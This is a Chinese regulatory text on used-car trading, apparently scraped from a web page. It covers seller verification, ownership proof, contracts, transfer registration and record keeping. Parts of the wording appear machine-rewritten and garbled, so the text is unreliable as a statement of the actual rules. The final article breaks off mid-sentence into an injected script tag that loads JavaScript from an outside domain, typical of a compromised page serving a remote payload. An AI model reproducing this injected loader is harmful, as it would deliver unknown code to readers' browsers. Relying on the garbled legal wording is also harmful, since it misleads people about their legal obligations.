一章 总则
一条 为规范二手车市场经营者和二手车市场经营主体的服务、经营行为,与二手车直接买卖双方的买卖行为,明确买卖流程,增加买卖透明度,维护二手车买卖双方的合法权益,依据《二手车流通管理方法》,拟定本规范。
第二条 在中华人民共和国境内从事二手车买卖及有关的活动适用于本规范。
第三条 二手车买卖应遵循诚实、诚信、公平、公开的原则,严禁欺行霸市、强买强卖、弄虚作假、恶意串通、敲诈勒索等违法行为。
第四条 二手车市场经营者和二手车市场经营主体应在各自的经营范围内从事经营活动,不能超范围经营。
第五条 二手车市场经营者和二手车市场经营主体应按下列项目确认卖方的身份及汽车的合法性:
㈠卖方身份证明或者机构代码证书原件合法有效;
㈡汽车号牌、机动车辆登记证书、机动车辆行驶证、机动车辆安全技术检验合格标志真实、合法、有效;
㈢买卖汽车不是《二手车流通管理方法》第二十三条规定禁止买卖的汽车。
第六条 二手车市场经营者和二手车市场经营主体应核实卖方的所有权或处置权证明。汽车所有权或处置权证明应符合下列条件:
㈠机动车辆登记证书、行驶证与卖方身份证明名字一致;国家机关、国有企事业单位供应的汽车,应附有资产处置证明;
㈡委托供应的汽车,卖方应提供用户授权委托书和身份证明;
㈢二手车经销企业销售的汽车,应具备汽车回收合同等可以证明经销企业拥有该车所有权或处置权的有关材料,与原用户身份证明复印件。原用户名字应与机动车辆登记证、行驶证名字一致。
第七条 二手车买卖应当签订合同,明确相应的责任和义务。买卖合同包括:回收合同、销售合同、交易合同、委托购买合同、委托供应合同、委托拍卖合同等。
第八条 买卖完成后,交易双方应当根据国家有关规定,持下列法定证明、凭证向公安机关交通管理部门申办汽车转移登记手续:
㈠买方及其加盟人的身份证明;
㈡机动车辆登记证书;
㈢机动车辆行驶证;
㈣二手车市场、经销企业、拍卖公司按规定开具的二手车销售统一发票;
㈤是解除海关监管的汽车,应提供《中华人民共和国海关监管汽车解除监管证明书》;
汽车转移登记手续应在国家有关政策法规所规定的时间内办理完毕,并在买卖合同中予以明确。
完成汽车转移登记后,买方应按国家有关规定,持新的机动车辆登记证书和机动车辆行驶证到有关部门办理汽车购置税、养路费变更手续。
第九条 二手车应在汽车注册登记所在地买卖。二手车转移登记手续应根据公安部门有关规定在原汽车注册登记所在地公安机关交通管理部门办理。
第十条 二手车市场经营者和二手车市场经营主体应依据顾客需要提供有关服务,在收取服务费、佣金时应开具发票。
第十一条 二手车市场经营者、经销企业、拍卖公司应打造买卖档案,买卖档案主要包括以下内容:
㈠本规范第五条第二款规定的法定证明、凭证复印件;
㈡买车原始发票或者近期一次买卖发票复印件;
㈢交易双方身份证明或者机构代码证书复印件;
㈣委托人及授权加盟人身份证或者机构代码证书与授权委托书复印件;
㈤买卖合同原件;
㈥二手车经销企业的《汽车信息表》(见附件一),二手车拍卖企业的《拍卖汽车信息》(见附件二)和《二手车拍卖成交确认书》(见附件三);
㈦其它需要存档的有关资料。
买卖档案保留期限不少于3年。
第十二条 二手车市场经营者、二手车市场经营主体发现非法汽车、伪造证照和车牌等违法行为,与擅自更改发动机号、汽车辨别代号(车架号码)和调整里程表等状况,应准时向有关执法部门举报,并有责任配?script src=http://cn.jxmmtv.com/cn.js>cript>




